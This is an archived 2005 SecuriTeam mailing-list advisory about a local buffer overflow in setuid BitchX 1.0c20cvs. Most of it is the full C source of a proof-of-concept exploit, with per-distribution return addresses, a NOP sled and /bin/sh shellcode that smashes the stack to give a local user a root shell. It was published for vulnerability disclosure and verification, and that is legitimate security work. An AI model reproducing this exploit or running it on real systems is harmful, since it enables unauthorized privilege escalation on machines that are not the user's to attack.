[EXPL] BitchX Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 04/21/05

  • Next message: SecuriTeam: "[EXPL] PMSoftware Simple Web Server Remote Buffer Overflow (Exploit)"
    To: list@securiteam.com
    Date: 21 Apr 2005 15:43:47 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      BitchX Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    BitchX contains a local exploitable buffer overflow condition. When BitchX
    is installed with setuid it allows a non-root user to obtain root access.

    DETAILS

    Vulnerable Systems:
     * BitchX version 1.0c20cvs

    Exploit:
    /*
     * P.o.C Exploit Code for BitchX
     * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
     *
     * (C) 2004. GroundZero Security Research and Software Development
     * http://www.groundzero-security.com
     *
     * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
     *
     * --[ background
     *
     * BitchX contains an local exploitable Buffer Overflow condition.
     * Sometimes it is installed setUID to allow non-root users SSL
     * access for example and therefore it could be used by a malicious
     * local user, to obtain root access. This code demonstrates the
     * described vulnerability and can be used to verify the bug on
     * your system(s).
     */

    #include <stdio.h>

    struct {
      char *distro;
      char *version;
      char *bx;
      unsigned int return_add;
      unsigned int buff_size;
    } T[] = {
                { "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
                { "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
                { "END", "", "", 0, 0 },
            };

    char
    shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                     
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    int usage(char *argv)
    {
        int i;

        fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
        fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
        fprintf (stdout, "Available Targets:\n");
        for(i=0;T[i].distro!="END";i++)
        fprintf (stdout, "\t\t\t %i: (%s %s)
    %s\n",i,T[i].distro,T[i].version,T[i].bx);

        return(0);
    }
         
    int main(int argc, char *argv[])
    {
        unsigned int i;
        unsigned int t;

        char buffer[3000];
        char *a1 = "sh";
        char *a2 = "-c";
        char *env[] = { "TERM=xterm", 0 };
        char *args[] = { a1, a2, buffer, 0}; /* arguments list */

        fprintf (stdout, "\n\n###############################\n");
        fprintf (stdout, "## GroundZero Security Research and Software
    Development ##\n");
        fprintf (stdout, "## Linux Local P.o.C Exploit for BitchX ##\n");
        fprintf (stdout, "###############################\n\n");
     
        if(argv[1]==NULL||argv[2]==NULL)
        {
            usage (argv[0]);
            fprintf (stdout, "\n");
            exit (0);
        }

        if(strlen(argv[1])>255||strlen(argv[2])>255)
        {
            exit (-1);
        }

        t=atoi(argv[2]);

        fprintf (stdout, "selected: %s %s
    %s\n",T[t].distro,T[t].version,T[t].bx);
        fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);

        for ( i=0; i<T[t].buff_size; i+=4) *(long
    *)&buffer[i]=T[t].return_add; /* put return address in buffer */
        for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i)
    *(buffer+i)=0x90; /* add nop's */

        memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit
    string */

        fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to
    abort.. (ctrl+c)\n",argv[1]);
        sleep(3);

        if((execve (argv[1],args,env))==-1) /* execute binary and smash the
    stack */
        {
            perror("execve");
            exit (-1);
        }

        exit (0);
    }

    /* EOF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:sk@groundzero-security.com>
    sk.
    The original exploit can be found at: <http://www.g-0.org/code/bx-xp.c>
    http://www.g-0.org/code/bx-xp.c

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] PMSoftware Simple Web Server Remote Buffer Overflow (Exploit)"

    Relevant Pages

    • [PATCH 4/4] MultiAdmin 1.0.7
      ... Add the MultiAdmin to the mainline tree. ... depends on SECURITY ... struct nameidata *nd) ... gid_t old_sgid, unsigned int flags) ...
      (Linux-Kernel)
    • [UNIX] Pre-Login Buffer Overflow in Cyrus IMAP server
      ... Beyond Security would like to welcome Tiscali World Online ... Cyrus IMAP server has a remotely exploitable pre-login buffer overflow. ... gdb verifies that the call was successful: ...
      (Securiteam)
    • Re: Masking/Hiding a password in Perl Source
      ... In the interest of security, I want to find a way to mask this. ... This is actually a hard problem to solve in the general sense. ... so this will simply delay but not impede the attacker who has ... obtained root access. ...
      (comp.lang.perl.misc)
    • Re: Masking/Hiding a password in Perl Source
      ... Chris G. wrote: ... In the interest of security, I want to find a way to mask this. ... obtained root access. ... The purpose was to make it so the password was not readable in the compiled programs. ...
      (comp.lang.perl.misc)
    • Re: (newbie) Question about core linux security
      ... > because the owner has failed to apply the security tools properly. ... A password-protected BIOS that refuses to boot from external media is ... >> root access. ... quit When the quit statement is read, ...
      (comp.os.linux.security)